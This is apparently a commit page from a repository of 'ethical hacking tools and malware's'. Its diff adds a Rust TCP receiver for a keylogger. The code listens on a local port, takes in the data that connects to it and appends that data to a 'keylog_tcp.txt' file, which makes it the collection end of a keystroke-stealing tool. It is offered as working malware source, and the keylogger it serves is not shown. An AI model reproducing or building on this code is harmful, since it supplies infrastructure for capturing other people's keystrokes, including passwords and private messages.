This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.
JavaScript algorithmsartificial-intelligencebugbountycryptographycyber-threat-intelligencecybersecurity-projectsethical-hackinghacking-toolsmalwarenessusnetwork-monitoringnetwork-securitynmapportscannerpythonpythonprojectsthreat-intelligencevirus-scanning
Create tcp_receiver.rs
Abdul Wahab Junaid38efe20c3860
diff --git a/Rust for Hacking/Keylogger/src/tcp_receiver.rs b/Rust for Hacking/Keylogger/src/tcp_receiver.rsnew file mode 100644index 0000000..44024f2--- /dev/null+++ b/Rust for Hacking/Keylogger/src/tcp_receiver.rs@@ -0,0 +1,48 @@++/*+ TCP RECEIVER FOR KEYLOGGER+ For more codes:+ @5mukx+*/++#![allow(unused_imports)]+use std::io::{self, Read, Write};+use std::net::{TcpListener, TcpStream};+use std::fs::{File, OpenOptions};+use std::thread;++fn handle_client(mut stream: TcpStream) -> io::Result<()> {+ let mut buffer = Vec::new();+ stream.read_to_end(&mut buffer)?;++ println!("Received data:");+ println!("{}", String::from_utf8_lossy(&buffer));++ let mut file = OpenOptions::new().create(true).append(true).open("keylog_tcp.txt")?;+ file.write_all(&buffer)?;++ Ok(())+}++fn main() -> io::Result<()> {+ let listener = TcpListener::bind("127.0.0.1:6969")?;+ println!("Keylogger Receiver");+ println!("Receiver listening on {:?}", listener.local_addr());++ for stream in listener.incoming() {+ match stream {+ Ok(stream) => {+ thread::spawn(move || {+ if let Err(err) = handle_client(stream) {+ eprintln!("Error while handling client: {}", err);+ }+ });+ }+ Err(e) => {+ eprintln!("Error accepting connection: {}", e);+ }+ }+ }++ Ok(())+}